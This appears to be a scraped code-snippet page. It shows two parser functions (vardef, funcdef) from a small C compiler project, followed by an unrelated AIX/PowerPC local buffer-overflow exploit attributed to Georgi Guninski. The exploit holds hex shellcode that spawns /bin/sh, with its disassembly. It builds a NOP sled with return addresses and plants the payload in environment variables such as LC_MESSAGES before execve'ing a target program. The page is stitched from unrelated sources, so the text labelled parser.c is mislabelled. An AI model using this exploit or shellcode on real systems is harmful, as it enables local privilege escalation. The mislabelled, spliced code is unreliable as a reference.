示例#1
0
文件: parser.c 项目: shenchi/mycc
void vardef(symbol_t t, symbol_t id){
    while(1){
        createvar(t, id);
        if(sym->type!=COMMA)break;
        nextSym();
        if(sym->type!=ID){
            msg(ERR, "unexpected \',\' or missing a identifier", line);
			ERROR_STATUS = 1;
        }
        mfree(id);
        id = copySym(sym);
        nextSym();
    }
    mfree(id);
}
示例#2
0
文件: parser.c 项目: shenchi/mycc
void funcdef(symbol_t t, symbol_t id){
    symbol_t pt, pid;
    ident_t np;
    func_t f;

    if(findTable(global, (char*)(id->value))){
        msg(ERR, "identifier redefinition", line);
		ERROR_STATUS = 1;
		do
			id->value = (int)ccstrcat((char*)(id->value), '@');
		while(findTable(global, (char*)(id->value)));
    }

    f = createFunc();
    f->local = createTable();
    np = createid(FUNC, translate(t->type), (char*)(id->value), 0);
    if(!np){
        msg(ERR, "identifier redefinition", line);
		ERROR_STATUS = 1;
		exit(0);
    }
    np->extra = (void*)f;
    context = f;

    if(sym->type!=RPAREN){
        while(1){
            if(!isType(sym)){
                msg(ERR, "missing a type name for param", line);
            }
            pt = copySym(sym);
            nextSym();
            if(sym->type!=ID){
                msg(ERR, "missing a identifier after a type name", line);
            }
            pid = copySym(sym);
            if((np=createvar(pt, pid))==0){
                msg(ERR, "identifier redefinition", line);
            }
            addparam(f, np);
			np->loc = LOC_PARAM;
            mfree(pt);mfree(pid);
            nextSym();
            if(sym->type!=COMMA)break;
            nextSym();
        }
    }
    if(sym->type!=RPAREN){
        msg(ERR, "missing \')\'", line);
    }
    nextSym();
    if(sym->type!=LBRACE){
        msg(ERR, "missing \'{\'", line);
    }
    nextSym();
    body();
	if(t->type==VOID)
		gen(RET, 0, 0, 0);
    if(sym->type!=RBRACE){
        msg(ERR, "missing \'}\'", line);
    }
    context = 0;
    nextSym();
}
/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
char VAR[30]="LC_MESSAGES";
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int egg=1;
int ch;
unsigned int reta; /* return address */
int corr=4604;
char *args[4];
char *newenv[8];
int justframes=1;
int startwith=0;

mn=78;
max=100;

if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

puts("Start...");/*Here we go*/

newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
(char*)&buf):NULL;
newenv[6]=NULL;

args[0]=prog2;
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski
        [email protected]
        [email protected]
        [email protected]
        http://www.geocities.com/ResearchTriangle/1711
*/
}